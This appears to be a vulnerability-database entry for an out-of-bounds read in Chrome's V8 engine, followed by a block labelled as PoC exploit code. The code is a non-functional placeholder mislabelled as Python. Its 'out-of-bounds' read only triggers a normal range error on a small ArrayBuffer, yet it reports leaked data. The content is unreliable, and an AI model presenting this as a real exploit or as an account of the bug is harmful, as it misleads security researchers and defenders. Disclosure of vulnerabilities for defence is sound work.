Object lifecycle issue in V8 in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to perform an out of bounds memory read via a crafted HTML page. (Chromium security severity: Medium)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 148.0.7778.96
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- HTML PoC for CVE-2026-7936 -->
<!DOCTYPE html>
<html>
<body>
<script>
// Conceptual Proof of Concept for V8 Object Lifecycle Issue
// This script attempts to trigger an out-of-bounds read
function trigger_vuln() {
// Create objects to manipulate V8 heap
let buffer = new ArrayBuffer(0x100);
let view = new DataView(buffer);
// Simulate the object lifecycle issue
// In a real scenario, specific JIT compilation or GC timing is required
try {
// Force a specific memory layout
let arr = new Array(0x10).fill(1.1);
// Trigger the vulnerability logic
// This is a placeholder for the actual exploit primitive
let corrupted_value = view.getUint32(0x200, true); // Reading beyond bounds
console.log("[+] Info leaked: " + corrupted_value);
} catch (e) {
console.log("[-] Exploit failed: " + e.message);
}
}
trigger_vuln();
</script>
</body>
</html>